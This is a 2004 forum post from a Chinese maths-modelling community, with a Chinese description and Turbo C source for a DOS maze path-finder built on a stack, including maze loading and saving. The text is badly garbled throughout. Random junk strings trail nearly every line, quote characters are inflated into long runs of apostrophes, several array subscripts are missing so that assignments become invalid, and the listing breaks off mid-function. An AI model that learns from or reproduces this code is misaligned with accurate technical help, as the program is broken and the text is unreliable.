数学建模社区-数学中国

标题: C语言技术文章 [打印本页]

作者: 韩冰    时间: 2004-10-4 02:34
标题: C语言技术文章
<DIV  align=left>2 x  O! d* `7 f% s) g
< align=left>程序目的:
( L# T+ g" T0 g! N输入一个任意大小的迷宫,用栈求出一条走出迷宫的路径,并
# h3 S: L# w* O6 l/ j2 L显示在屏幕上。
) F, T5 W7 \, a5 n程序实现:, a( P) _. n% L( i# n6 n
可以实现载入迷宫和保存迷宫,附带文件中有4个测试迷宫路径的& ^7 H' F% Z- N. B" S7 v
文件test1~4.dd。请将这些文件拷贝到TC当前目录下,或者在载* u# o6 x4 m: J+ l( d+ e! p# q
入时写明完全路径。由于屏幕大小的限制,当用户自己输入迷宫
7 g7 n  E5 r9 H: r" E& l时一定要注意:迷宫大小是有限制的,不小于4*3,不大于30*20。
! V+ t5 {/ |% ~; c! c2 K: }% U否则会出现错误信息。输入开始时全是墙,用上下左右键移动,- E/ b7 [" @5 T; M2 Y3 l0 Z( G
用Del键删除墙,形成通路,用Enter键添加墙。输入结束时可以
4 w4 m5 K- q, x5 e2 f- P将迷宫保存下来,以dd为扩展名。输入完毕时用F9键来得到结果,5 i( D7 A+ g0 X4 B% m  V5 g
找到路径时,屏幕下方会出现Path found,否则出现Path not found。) p8 P. ?; R; ~# [5 i% z* y( H
程序经Turbo C 2.0编译调试成功。运行时不用添加任何运行库。
2 \2 B' K; l! i不可以在VC上编译。1 C0 D5 l2 P4 Z5 f. l/ V
下载DOS版和windows版的迷宫游戏全部代码
9 |+ D8 q& f1 S" d0 O用户名:migong # C* `" |9 Z, q6 s: ^
----------------------------------------------------------------------------------1 c# Y. ?: j, z; j- F
/*
3 \' {0 n  d; fMazePath Demo BY Turbo C 2.0
4 f' z9 ~; i% y6 A  X# a( q. P' qCopyright(c) RoverUnion. All right reserved.
3 U, \5 E# L6 W) o$ qFilename: Maze.c
9 K$ V" b' `, ?( }* u0 cAuthor Dongchengyu.
6 {' L( [3 n; l4 A, r8 RVer 1.10$ x/ ^, E2 h! h  ?) c8 R
*/
2 a  P( V( K  G1 w#include &lt;stdio.h&gt;
5 g# C# M8 I, q# l5 I5 [' V#include &lt;stdlib.h&gt;& a5 B7 T/ F9 L( c
#include &lt;malloc.h&gt;5 R% n( I, T0 q" ~  c& `
#include &lt;conio.h&gt;& d& F) I& x5 A
#include &lt;dos.h&gt;
/ z$ F" l" o9 x& }9 {  Z% z* R#define OK 1
, L3 D4 J1 D1 L#define ERROR 0
. x7 w* m) ^- R, \% Y1 m; k# \  m#define TRUE 1* z, I( Q7 Z  k: G. Q
#define FALSE 0. G1 }& G% G/ m  `0 T! r! E
#define F9 0x43& ]2 U% ?4 n+ C+ ?+ E
#define Esc 0x1b
1 N' n+ m7 V; c  b4 r#define Del 0x53
7 p5 Q( b1 i+ Q8 y5 ~6 i#define Home 0x471 k, k9 i3 R2 ^" B) K/ z2 y
#define End 0x4f
) q) o, R% W# m& u2 R#define Space 0x20
+ A2 x1 U! O: G; W1 n2 {! `, t#define Up 0x48
: x' c  l: R+ M# x& n#define Down 0x50( @1 V! i8 H8 [2 Z/ d& h
#define Left 0x4b, L6 L& l5 D9 a: e, Z
#define Right 0x4d: U4 V" i* z' {! r
#define Enter 0x0d9 v- ?8 q5 G" p: D( a0 j6 S
#define F2 0x3c" Y3 h1 J! b$ e8 H
#define F3 0x3d) V7 {9 E3 w! b: k3 F
#define STACK_INIT_SIZE 200
" B, g2 w' g1 w5 P#define STACKINCREMENT 100 V6 b, W5 m. F
typedef int Boolean;
! p" h& h& }, W, l7 ^7 G7 i% m' atypedef int Status;+ F1 J: \( a5 G$ h
typedef struct {: I% c3 A" v  W
int x;& J2 q' m" N0 V% a' z
int y;! c. a! p. }* A6 ^- s
} PosType;2 A" z7 \/ n1 Y" C; y& B$ U
typedef struct {% y& k0 ?0 z! W" V0 J) M
int ord;  I5 l2 i  n% N
PosType seat;
+ w% [  J' V3 I  ^  v- H' @$ Zint di;5 N2 P7 }6 s+ W  @. @1 }" c
} SElemType;) |: n! Z4 c4 E$ j
typedef struct {
% A. K4 q5 S+ t- r+ o9 Eint td;
. X* n3 r" v8 _/ Cint foot;
9 m( a1 U- z& Aint mark;" x# f7 @. e0 Y+ S5 B
} MazeType;
/ r. ^& a% Q6 c5 U$ e: D( vtypedef struct {; W' D) E6 [, n
SElemType *base;' t) w- ^8 d! @5 o/ _" m9 s
SElemType *top;
" J& w$ D0 e$ [0 t! i: ~5 C  Mint stacksize;
3 u$ }8 _; }8 J5 s, ^% O, M} Stack;9 F; ?( N" n2 L+ X$ V( T! Z9 r, c: N
int Maze[20][30];- J* Z2 B( y6 \+ Y: V8 f
MazeType maze[20][30];
" n( C1 F; t- `3 N4 |PosType StartPlace;3 N4 a* e- e# u/ V
PosType EndPlace;
  T3 A* b: T& c$ m8 t3 |/ Vint count;" n, i$ `. |; |4 ^, N
int m,n;; D3 \8 c# K( Z" Q9 n0 H) f
Boolean b_start=FALSE,b_end=FALSE;
& [; `! G3 ?3 {void CreatMaze(void);3 f3 h' |. [3 u! i
Status SaveMaze(char *filename);
/ G# F2 a6 c# D3 @9 oStatus LoadMaze(char *filename);
4 e7 [. x; Q& l$ x4 N. evoid Error(char *message);: u! r* e2 d$ v
Status InitStack(Stack *s);8 q: S) A6 _, L% J0 R! g
Status DestroyStack(Stack *s);
  u! C/ o% T9 p0 O9 ]9 zStatus ClearStack(Stack *s);$ z7 A# z: R5 d3 M
Boolean StackEmpty(Stack *s);0 M& c, B' W8 n$ ^7 O% a
int StackLength(Stack *s);2 z( u/ O) J2 s
Status Push(Stack *s,SElemType e);+ H2 L  J6 g8 l6 M# z
SElemType Pop(Stack *s,SElemType e);( j) r! H3 ^; w5 d% Z4 E7 |- V
Status GetTop(Stack *s,SElemType *e);
) I' q+ C& n3 C, k) H; [1 \5 _* G/ W4 yStatus StackTraverse(Stack *s,Status (* visit)(SElemType *se));$ I& }3 J3 Y1 R
Boolean Pass(PosType curpos);  f# B6 t1 Q, c$ g
void MarkPrint(PosType seat);4 Y4 ]0 M* Q% h
void FootPrint(PosType curpos);
# v" S3 ~5 Z6 g2 |' |+ K. |, _. d- APosType NextPos(PosType seat,int di);
1 R( y1 ~9 F! E6 b' |* {6 }: R. F5 zStatus MazePath(PosType start,PosType end);( l$ @5 R, ~$ D: i
void CreatMaze(void)
$ |! G; _  U) |+ K/* Form the maze. */- x+ H3 ?, j# G. ^+ S8 f7 X; K
{
& m, a* x6 I, t6 G& Jvoid Error(char *message);( {# g( {1 ~3 I: ~7 D0 Y6 [& a2 u
Status SaveMaze(char *filename);
: e! Q/ t" m( A* h: q* fStatus LoadMaze(char *filename);
/ A; R5 p3 ~# f% h2 o' Uint i,j;. I$ |" m3 C9 D2 T6 P" A8 z* t8 ~
int x,y;
3 s3 g% m  M0 n* w1 D- l0 gchar c;: J5 T. F1 b) C4 S  H( D" @' V% O
char savename[12],loadname[12];0 y$ P! |  W) L6 h) q) y
Boolean flag=FALSE,load=FALSE;+ M& ?$ y3 [: A2 H# ?
clrscr();- u+ a# D/ w3 O8 f: z" g  U' K$ {
printf("Menu:\n\n");
3 S; F, ^! ~, x- i. R! ?2 s/ @printf("1.Load Mazefile*.dd)\n\n");
# l$ i7 j4 k; x. G& b2 c$ pprintf("2.Input Maze:\n\n");
# w1 [  C, i; q7 h+ Rprintf("Input your choice: ");, d6 N9 O" K6 j. l+ E4 b
do9 b" s; e- @. B/ |: P( H
{. u1 n! x! A4 [5 E
c=getch();1 X4 m# C0 R6 `2 m0 K4 L" e
switch(c)
$ g0 {) g7 g9 j+ e$ f$ o1 b: \  v{
$ |8 B: K: G5 O8 `/ w0 Fcase ''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''': putch(''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''); break;
# C* r0 S6 t  bcase ''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''': putch(''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''); break;7 Q6 v4 \7 e- ^! a, r3 n
case Esc: sleep(1); exit(1);" `7 P0 x, o) v& k9 m* F
default: break;  [' J* L+ p9 u. Y* b8 H
}) R' B- q! V; e8 z3 h
}0 B" g2 ?8 m; E% e! P4 M$ E& ?
while(c!=''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''&amp;&amp;c!=''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''') ;
) x, M& T$ s0 J! s+ yif(c==''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''')
4 K- C  X. F$ W0 m: E( R; ]{
2 z1 w7 P6 Q$ x0 i; Wprintf("\n\nLoadName: ");+ W% d" c0 w3 a8 P1 c
scanf("%s",loadname);
; c' i( ^; I9 i+ w# e- Z- oif(LoadMaze(loadname))
; U" ?5 @7 j- o{
6 _6 b9 Q* a; t6 G4 fsleep(1); load=TRUE;
" B8 p8 j0 c9 M% j. _/ j2 f! G}1 G- V+ |2 ?# @8 p' q
else { gotoxy(1,9); printf("Load fail! "); }
6 Y( ], u/ m4 ~}: I! U  g7 E7 i
if(!load)
% W) P/ l; V4 l1 ~{; |0 R0 u$ N# o! q
printf("\nInput the maze''''''''''''''''''''''''''''''''s size:\n");
+ u# Y7 {0 o; k* \' ?7 U% Q8 xprintf("\nInput Length :\n");) L2 r/ |* M. ~" X4 [
scanf("%d",&amp;m);
4 ?# W9 F. J) ]" C( R2 F: Sprintf("\nInput Width :\n");, J4 F! V! |& _' j1 k$ |6 A
scanf("%d",&amp;n);$ p; r. }/ Q: O$ ?  q% \
if(m&lt;4||n&lt;4) Error("Input");+ Q' D" b; ^4 ?, \- T" s" K+ @
if(m&gt;30||n&gt;20) Error("Maze too large");3 e' B! X' V' g) a4 t0 u& M, f6 T
for(i=0;i&lt;30;i++)# m/ x2 b1 _/ h& E! [" O, V* J
for(j=0;j&lt;20;j++)3 p% e( T* h  c5 v9 |+ E7 s9 z! I
Maze[j]=2;1 F, I- \) y! c/ r, _
StartPlace.x=0;
: R3 \' u, g" c8 HStartPlace.y=0;* Q5 x9 ?* ?) [& E' @3 s, U6 t
EndPlace.x=0;
4 B' X! Z3 Z2 A' u, J7 {( o4 n9 REndPlace.y=0;% u/ C  V" e# k' p
clrscr();
3 m1 b$ N- k4 X5 D" M+ mprintf("\n");
3 W: o$ b: s) M$ ?+ z- S- V, ]9 gfor(i=1;i&lt;=n;i++)
+ g* ?4 N: Y) S, W; w- c{: g1 Z$ V1 q7 `% z2 a+ `8 I! s' K& q
for(j=1;j&lt;=m;j++)
( P  |$ d3 l" c$ B+ I{
2 T) n2 _- e7 P: T, o- @) p" Aprintf(" #");1 G' N8 _) ?" y+ Z: s6 i
Maze[i-1][j-1]=0;- p% f4 _1 b' ?( H/ v8 s2 l
}
! v; l4 B; ^  m1 Y7 I; Z& @printf("\n");
$ {+ }, J6 _- P}4 l! V4 Q$ D+ D  l9 A
}
4 x! T+ L# a: T6 W* S7 _gotoxy(65,5);
/ @! j; N. ]" ?2 m( sprintf("''''''''''''''''''''''''''''''''#'''''''''''''''''''''''''''''''':Wall");) z2 q1 \8 Y8 B2 H, s+ `. \) x" @
gotoxy(65,7);
9 I% ]+ E4 d% r( W3 _* T# @printf("Start:Home");
5 R$ x* |( N3 X2 b! ~7 hgotoxy(65,9);9 y, s: ]& C' i! `& D
printf("End:End");
: H8 A# Q) Z' H$ ~! Ngotoxy(65,11);
% @3 L& g- D8 _7 U* n; _* I; iprintf("Delete Wallel");; S$ h( `' n3 F+ H# e4 ^9 P5 v
gotoxy(65,13);: x& D/ H3 h) N% T2 o# Y
printf("Enter Wall:Enter");- b6 q+ o! v1 P$ b; L4 i1 [* ^
gotoxy(65,15);
+ o8 R6 p2 [/ D# L5 s% t6 hprintf("Save Maze:F2");
7 Z) b3 u8 y0 C9 i4 U" B* fgotoxy(65,17);8 B* j4 l; e) I9 T  y
printf("Complete:F9");  U0 |" k" b& C8 Z. ]. o
gotoxy(65,19);
+ H3 x; p( d1 O: E. k6 Lprintf("Exit:Esc");
1 K9 I: A4 T- g# Agotoxy(4,3);. p; {, y; \- f# T
x=4;y=3;& C6 {1 l- T* r, N+ D
do2 C4 F" b7 @# |# @: \) c
{
- r" ^; v) F; h8 p3 ec=getch();
5 q) J1 e7 [7 H% Rswitch(c)
9 o# s& `, L5 v. ]: n0 f+ `{
8 ^5 Q: w( ]0 L! \case Up: if(y&gt;3) { y--; gotoxy(x,y); }
$ f# r7 e& i& ~9 Jbreak;
8 L) c. @, R) U9 R  W; Bcase Down: if(y&lt;n) { y++; gotoxy(x,y); }
5 Y0 p' Y% {! G, x8 [7 Abreak;1 I: r/ y% I! X* t" I0 V  k" v
case Left: if(x&gt;4) { x-=2; gotoxy(x,y); }% K! d; W* j7 T: p9 n
break;% O& m# n) z" M$ x
case Right: if(x&lt;2*m-2) { x+=2; gotoxy(x,y); }
9 g2 A: h, i2 m0 v$ q: m! Fbreak;
5 z8 |! j' _) O" H( w9 Z& jcase Del: if(y-2==StartPlace.y&amp;&amp;x/2-1==StartPlace.x) b_start=FALSE;  Z; G: M) ^6 ^. O4 g
if(y-2==EndPlace.y&amp;&amp;x/2-1==EndPlace.x) b_end=FALSE;0 _: r9 A  l( n. x
putch('''''''''''''''''''''''''''''''' ''''''''''''''''''''''''''''''''); Maze[y-2][x/2-1]=1; gotoxy(x,y);% |5 u8 y( ?# h* N1 @3 Q) [
break;  s+ S% p3 q+ c( W; `) I& O
case Enter: if(y-2==StartPlace.y&amp;&amp;x/2-1==StartPlace.x) break;
; ^" C8 @. Y! J8 mif(y-2==EndPlace.y&amp;&amp;x/2-1==EndPlace.x) break;$ F3 J$ n/ [1 Q* N$ p) N
putch(''''''''''''''''''''''''''''''''#''''''''''''''''''''''''''''''''); Maze[y-2][x/2-1]=0; gotoxy(x,y);
2 i4 R: m2 o7 I3 ?$ wbreak;
; j/ I& D. [2 m4 Fcase Home: if(Maze[y-2][x/2-1]&amp;&amp;!b_start)
: [" _) S- E* A( c* s6 _{
( S1 k" y) H5 p) o9 C  A4 Y1 IStartPlace.x=x/2-1;, l6 a2 z3 ^; h, A) `' e0 H
StartPlace.y=y-2;
0 i6 E  B% S+ p4 S  pputch(''''''''''''''''''''''''''''''''S'''''''''''''''''''''''''''''''');7 r- F6 |) X& ^! \/ o! h8 P* y
gotoxy(x,y);
5 N7 X3 v9 J; b7 n  P2 \4 Y; f. zb_start=TRUE;
3 [" C8 W( ~8 y' Q2 X+ L7 s}+ n% }: R& P2 t. s1 e
break;
  W/ n' m, V& Z' jcase End: if(Maze[y-2][x/2-1]&amp;&amp;!b_end)
& c6 e% {4 B: o! u* F- X5 a# _& t{
5 M6 j9 K2 Q' s4 CEndPlace.x=x/2-1;
% P7 u! Z% _# j  M( `/ tEndPlace.y=y-2;
. a8 ^9 [8 o7 [, Mputch(''''''''''''''''''''''''''''''''E'''''''''''''''''''''''''''''''');
+ w& D( c" }+ i2 @( s0 Ggotoxy(x,y);
' w6 A+ \$ Y# G# }$ b. Bb_end=TRUE;! z4 V, ?* j$ }
}4 \9 R. A* \, b1 h" L7 D7 z# T9 U
break;4 i7 O3 Y% B9 t& z. A% n
case Esc: gotoxy(2,22); printf("exit"); sleep(1); exit(1);- k% K" z& g, {1 r
case F9: if(b_start&amp;&amp;b_end) flag=TRUE; break;
& C1 ]2 l7 R" Z2 hcase F2: gotoxy(2,22);
  G5 X# ?6 {8 b, ]printf("Savename:");# j2 |; @. K) F, p! o) r7 E. j
scanf("%s",savename);" B1 K$ Z% q+ C2 o1 o
gotoxy(2,22);
! o& J. n( c8 o, _+ z5 q7 dif(SaveMaze(savename)) printf("Save OK! ");3 F$ |2 F9 P) u/ i  N
else printf("Save fail! ");% z/ t/ y. e8 H- t6 }
sleep(1);
, h# U8 F# p: C) V8 M5 V+ l8 C  V6 Qgotoxy(2,22);% S) u6 r7 T! r5 R
printf(" ");  r9 {+ m" |2 Y, B% D. {, e  b7 R( {. B3 K
gotoxy(x,y);
/ {5 K2 J" v- t+ p9 a5 Jbreak;
+ H  @4 q% n% n* D2 g0 Sdefault: break;# F5 ]7 O' p( b
}
8 f# n& R2 ?% A2 ^( y}: B% E+ Y2 G0 w' A. m
while(!flag);) S! [) e2 I1 ?9 ^+ A6 N
for(i=0;i&lt;30;i++)
7 u8 s& M9 r1 jfor(j=0;j&lt;20;j++)
/ @+ D* ^1 v( ~6 L# E3 K; A$ [8 g7 u/ z1 O{0 X; ?6 ^  s' B
maze[j].td=Maze[j];' |! l* @9 u! v( }
maze[j].mark=0;$ _# a) N( [5 G9 C4 X
maze[j].foot=0;% U" y/ \. ~8 b2 Q3 q
}
5 ^$ \1 \8 u+ q+ [; h2 q}
1 Q! L" r8 w4 o# _& zStatus LoadMaze(char *file)/ V' |0 ^" w, b# g& G
/* The maze has been loaded. */
, r& `" d* _. R. F; [{
9 Y, X0 t! o: z4 H( A! ]FILE *fp;$ U5 s& I* F  Z
char *buffer;3 v& D, M0 `" b8 ^
char ch;- ?. n/ n4 M1 b2 E0 i
int i=0,j,k;- o4 {* D2 f# _2 C1 h
Boolean len=FALSE,wid=FALSE;8 m' A6 b+ t+ c; n
if((fp=fopen(file,"r"))==NULL)# ^; G3 c3 V+ z6 T. v$ w. p
return ERROR;% \4 L/ t2 b& w4 J: x. P
buffer=(char *)malloc(600*sizeof(char));" g" \6 u6 D( h9 d2 r
ch=fgetc(fp);1 W& j: g1 u% X- J- m# f6 _" v
while(ch!=EOF)3 M( j- C8 ^" o3 E! d+ F1 U
{0 f# g& v; Y1 O
buffer=ch;
9 L+ L. K- _4 |( X- u( P0 _3 J' Qi++;6 J1 m4 }( T1 g  j. _$ {& c
ch=fgetc(fp);( z" ^9 g  X- ^5 X/ ~6 W6 i
}
  B6 s% u" w( e4 T0 f3 O0 wm=30;n=20;" z" e2 a+ e+ r+ W& ?7 \& f
for(i=0;i&lt;600;i++)
5 @9 a' l( l% V* _% x{
3 R4 @  C, ^9 d' l5 E2 ij=i/30; k=i%30;
4 {/ c" j$ o9 v% `/ X6 ?if(buffer==''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''&amp;&amp;!len){ m=i; len=TRUE; }* p- ~  [- }3 x3 m
if(k==0&amp;&amp;buffer==''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''&amp;&amp;!wid){ n=j; wid=TRUE; }$ t: n4 U" d' P
switch(buffer)% r  t: U/ y# ]. W: v1 `
{
9 H9 i; s  L/ |8 G# mcase ''''''''''''''''''''''''''''''''0'''''''''''''''''''''''''''''''': Maze[j][k]=0; break;
6 J6 x6 H" P! ]& ncase ''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''': Maze[j][k]=1; break;
/ o; }1 e, ?# T& L8 W8 v5 O* Gcase ''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''': Maze[j][k]=2; break;" W8 i: |8 S8 ?  q* ^% X
case ''''''''''''''''''''''''''''''''3'''''''''''''''''''''''''''''''': Maze[j][k]=1;
6 ?% K6 v0 J9 \3 h$ qStartPlace.x=k;6 M1 [5 f& N5 S: {' \* ]# m$ _
StartPlace.y=j;
& |7 e& L/ {  b: S& Pb_start=TRUE;
; ], F7 T5 H  q. U# x; k1 ~break;
$ V$ l. l9 |2 v9 b( d) N0 lcase ''''''''''''''''''''''''''''''''4'''''''''''''''''''''''''''''''': Maze[j][k]=1;; M4 u# u3 p- c+ |, q+ @
EndPlace.x=k;
, q! P) y1 s2 `) e9 J9 EEndPlace.y=j;
! Q) E1 H* d) R) S7 ?/ P0 Jb_end=TRUE;
) X* r' K; }5 {4 q. n9 rbreak;( L& z% T0 y/ ^* L
default : break;! V/ I5 c! k$ U# ?8 [+ Z: n
}8 N, d0 b, m1 X
}
; X3 o0 z& ^% O6 b- w9 ^5 _7 ^fclose(fp);$ k# [* y4 p. o  L# v
clrscr();" ~) q) u7 b# D" J. ~4 a- J: Y" X
for(i=0;i&lt;30;i++)
6 [- Q4 f  [' |for(j=0;j&lt;20;j++)
# P9 A! \8 m& a{) E3 e' G9 T& ^9 K6 L8 C+ e
maze[j].td=Maze[j];. y, g/ q4 {8 O3 M
maze[j].foot=0;$ f' _9 C& t8 z; X) K% _5 _) ]7 G
maze[j].mark=0;8 V3 ~. E3 W, b% _7 S3 B  ^8 U
if(Maze[j]==0)1 J, q6 Z. E) `: B/ U; A. x
{
' o9 \' g* P  k# P* l0 Jgotoxy(2*i+2,j+2);) s) c. I3 t* }/ b" V
putch(''''''''''''''''''''''''''''''''#'''''''''''''''''''''''''''''''');
4 I7 I- S. l; k0 n2 Y1 ~: r# J4 x0 X}( J( R; B2 [0 g0 W. ?! |* r) X! N
}8 D! N0 ~' j0 }* v
gotoxy(2*StartPlace.x+2,StartPlace.y+2);# X: J2 S0 o7 r/ J, o; E
putch(''''''''''''''''''''''''''''''''S'''''''''''''''''''''''''''''''');
6 a- O0 s. z; w7 D' @& Ngotoxy(2*EndPlace.x+2,EndPlace.y+2);/ \: Q0 a( X) F
putch(''''''''''''''''''''''''''''''''E'''''''''''''''''''''''''''''''');
2 D' M8 s: ], s- Z4 freturn OK;; {& D* w* ]- }; f$ @3 W3 {) `
}
5 e' M) A9 E" N1 s5 Z6 M; @* p; ]Status SaveMaze(char *filename)
8 W* U9 \# A, ]7 T- b: Y5 G$ A/* The maze has been saved. */
; Q0 v1 Y5 n9 C$ z8 F& X0 M, k{
- v) H. _" \& w7 F4 ?2 {$ iFILE *fp;
& ~4 u" L: B$ ?char *buffer;* _9 ]7 f  ^8 {$ L
int i,j,k;
0 \- m& H" v5 ?: X& d! n0 s0 @fp=fopen(filename,"wb");
# ]4 z$ I% a! Z$ M" `  Ibuffer=(char *)malloc(600*sizeof(char));
( N' h( w( M9 Rfor(i=0;i&lt;600;i++)) R9 B8 o9 W9 Z  ?7 E/ N
{
, `" O" U( |' V5 m! m7 sj=i/30; k=i%30;
/ U3 d) W8 f& h6 H" a( tswitch(Maze[j][k])  F# m4 w3 d! r; S0 z
{0 z' F, V- f1 K$ V
case 0: buffer=''''''''''''''''''''''''''''''''0''''''''''''''''''''''''''''''''; break;( {0 v+ _7 ?  I' h7 k, d
case 1: buffer=''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''; break;& m; W5 k( V2 l7 S, s
case 2: buffer=''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''; break;
" M1 |" O! ?/ t1 A* Y0 c- sdefault : Error("Write"); break;
$ V! ^9 j) Q1 |; o3 d1 ^4 M}# v$ D3 l: [  o4 k! |/ P! B& {
if(k==StartPlace.x&amp;&amp;j==StartPlace.y) buffer=''''''''''''''''''''''''''''''''3'''''''''''''''''''''''''''''''';+ i; r' h2 w# D+ M/ ~
if(k==EndPlace.x&amp;&amp;j==EndPlace.y) buffer=''''''''''''''''''''''''''''''''4'''''''''''''''''''''''''''''''';, D6 @5 k% ?1 @
}/ s7 y& Q! Z  p4 u* J  q$ s
fwrite(buffer,600,1,fp);
1 G) q/ D2 \1 C- N+ Mfree(buffer);
% l/ U6 D& w1 S2 U7 H& yfclose(fp);
% P% }6 i, b/ V6 J3 P2 {return OK;- {/ N; q9 r! l5 h9 q
}
, {7 b" H* s, t& ~; _- Dvoid Error(char *message)
6 B: I- }$ p1 h0 V! `{# D- e" E% Z- F1 f* p
clrscr();5 s3 {" l! A* ~7 X+ Y7 V
fprintf(stderr,"Error:%s\n",message);7 T/ F, n4 r0 y: \
exit(1);
3 b. Z  s; e$ c& ?7 T" s} /* Error */
. G+ v; R5 a2 [8 V9 X! _
9 B1 Q' W$ d7 xStatus InitStack(Stack *s)
+ I2 |* T  c0 r0 a' _' x/* The stack s has been created and is initialized to be empty. */$ O! o  d9 H( c
{
8 c# n1 ?7 F: _& V, v2 x8 }s-&gt;base=(SElemType *)malloc(STACK_INIT_SIZE*sizeof(SElemType));
  s4 o) F( }4 r7 D, iif(!s-&gt;base) Error("Overflow");
5 \' R% D" |  rs-&gt;top=s-&gt;base;
: A& b( X1 ?8 v! Ps-&gt;stacksize=STACK_INIT_SIZE;8 \8 G5 d  ~9 A4 N0 n2 a
return OK;
6 O7 ]+ H/ o- f1 G! l} /* InitStack */
8 G  r4 W! k$ _- b& NStatus DestroyStack(Stack *s)
$ e8 |. ]/ T2 G/ U: f  I3 O/* The stack s has been destroyed. */
; U+ L: s3 W+ U2 f{
( C! d% ^7 U/ \: M+ C& ms-&gt;top=NULL;+ L) h: F% M. a( \9 T
s-&gt;stacksize=0;2 L4 d* `" b) p% o. m$ R
free(s-&gt;base);
* L+ m# t+ Z" X* o8 }3 X/ A+ Ls-&gt;base=NULL;4 l. M6 @' O* o6 l6 Z; r
return OK;. g& }, ^( t, a  k( N5 f
} /* DestroyStack *// k% A2 C$ Z3 d7 g& _1 P, g
Status ClearStack(Stack *s)
& }, C. C, m  w8 G0 }) w" u0 H/* The stack has been clear to be maximum. */* a3 q! R+ K$ B
{
. }$ T! {) P. i* X) e$ is-&gt;top=s-&gt;base;
, X7 Q3 J/ i& v( z2 {& Hs-&gt;stacksize=STACK_INIT_SIZE;
4 t7 B" h( L5 e0 x( kreturn OK;
# t: `7 s1 g5 r3 B3 ^* P; n} /* ClearStack */
# B& M) c( a2 t& j, {Boolean StackEmpty(Stack *s)
$ v" ?/ i4 [5 U1 C" _5 A* [/* Check if the stack s is empty. */  u% [7 f# o9 `7 F
{1 W- c9 f% L7 t7 @
if(s-&gt;top==s-&gt;base) return TRUE;) D0 q2 Z: z# x# y
else return FALSE;
9 E1 ?8 @) ~$ R: L7 k+ {1 N} /* StackEmpty */8 T0 N8 N% m7 S" ~
int StackLength(Stack *s)4 ]+ I& Q9 ^+ s% N
/* Gain the length of the stack s. */, `6 w8 m3 }9 n: x
{  r; V/ a% l9 a' g" i! _
if(s-&gt;top&gt;s-&gt;base) return (int)(s-&gt;top-s-&gt;base);
. j9 y: w0 {+ ~# I. e4 yelse return 0;) P% @+ A) X; ~) A$ c$ T+ G
} /* StackLength */
: \, Y2 v' o, \+ P7 rStatus Push(Stack *s,SElemType e)
3 K+ H- O3 M  L$ H3 K" c% f3 B/* The element e has been pushed into the stack s. */
% t3 j4 |7 b8 c{
% Y" S! |" X# Bif(s-&gt;top-s-&gt;base&gt;=s-&gt;stacksize)
+ n% M& J( W* M, k7 A{* g- r8 i% K9 l- w8 B
s-&gt;base=(SElemType *)realloc(s-&gt;base,( W6 z/ B: v3 p+ J2 e
(s-&gt;stacksize+STACKINCREMENT)*sizeof(SElemType));, e+ Z$ M7 R8 T2 t; u: ^# t2 r$ M7 x
if(!s-&gt;base) Error("Overflow");. ~3 ]! o! a2 |
s-&gt;top=s-&gt;base+s-&gt;stacksize;
% P3 P0 g3 j4 y& S* j+ s3 {9 xs-&gt;stacksize+=STACKINCREMENT;/ v% o) p0 w1 O
}
& P6 ^* ~' w7 s1 C*s-&gt;top++=e;9 ^& r+ D' n9 n: q8 p- E& l
return OK;9 b4 C/ G+ m% P2 I# B2 f3 \
} /* Push */! k2 ~0 Y/ A" L
SElemType Pop(Stack *s,SElemType e)$ ]0 P' E/ i2 |# A2 G# C' _: K
/* The element e has been removed from the stack s. */
: [( p, H7 H  g, c{
1 U9 ^2 l# v, E! H3 B( _6 aif(s-&gt;top==s-&gt;base) Error("op");
2 U0 m% A- a; Xe=*--s-&gt;top;
8 G, i( p  [! B5 X+ u" E0 yreturn e;
  g; o$ [* G' N} /* Pop */
- q" g0 @0 a0 v3 V5 i1 XStatus GetTop(Stack *s,SElemType *e)1 ^5 G. j  D; q8 a4 w
/* The element e has got to the top of the stack s.*/: R/ O" H/ o: p0 m
{
: G# m! ]  ^3 k$ e- j) @+ u) vif(s-&gt;top==s-&gt;base) Error("GetTop");
1 l% y* U2 h0 M& Y4 u*e=*(s-&gt;top-1);
7 t/ e! A: Y7 M2 b8 H# ?  t: o& Wreturn OK;
* T. R8 ]6 H& x2 t9 Y} /* GetTop */
6 w; n% J3 V6 q; [/* Traverse the stack s using ''''''''''''''''''''''''''''''''visiting'''''''''''''''''''''''''''''''' function. */
% O) D4 n" K# }+ o  M, x, K/* Status StackTraverse(Stack *s,Status (* visit)(SElemType *se))
/ L5 c# R# g9 q% d{" F+ y7 e' ^. k! m3 h
SElemType p;, b, a' D( p2 ?
int result;. L! a7 Y; W3 S( k: }
if(s-&gt;top==s-&gt;base) return ERROR;8 _- U. y- c0 H5 Z# x
p=s-&gt;base;
. }" [/ N) Z7 v/ S3 ?) ewhile(!(p==s-&gt;top))
' n; B' g8 ]9 Q/ T4 K{
8 W2 _8 W: E% n; uresult=(*visit)(p);
+ z- {  \% h. Jp++;1 @* @8 n7 L( U& Z# f% N  @. K6 B
}5 h: ]8 N3 ~" B+ E$ i5 g$ n
return OK;
) G. r: @' F. k+ W4 W} */& Y: v- m- N3 P; T; H6 z) u
Boolean Pass(PosType curpos)* I6 X7 {3 k! m; i  a; }
/* Check if the current position can be passed. */) x1 P: @) d4 S' b( g$ j6 ^
{
9 }9 m0 f% ^3 V+ wif(maze[curpos.x][curpos.y].td==1&amp;&amp;
5 U2 t0 G! p# j: }9 M  f5 _maze[curpos.x][curpos.y].foot==0&amp;&amp;maze[curpos.x][curpos.y].mark==0)+ a- ^* t% i) _4 `: [* E
return TRUE;
- u8 _- n4 ~4 Q9 g  c  s. |else return FALSE;( k& h9 m% n' n2 }( m/ H6 q% }, h4 a
} /* Pass */
, @. @- C6 j5 v" `. T+ zvoid MarkPrint(PosType seat); k$ e( d: x. _1 G
/* Mark the position seat. */( U' B! C# @7 S5 s% a% J( ^8 I9 J
{7 B, x* L. s" P/ Q' O2 l1 v$ {& f
maze[seat.x][seat.y].mark=-1;
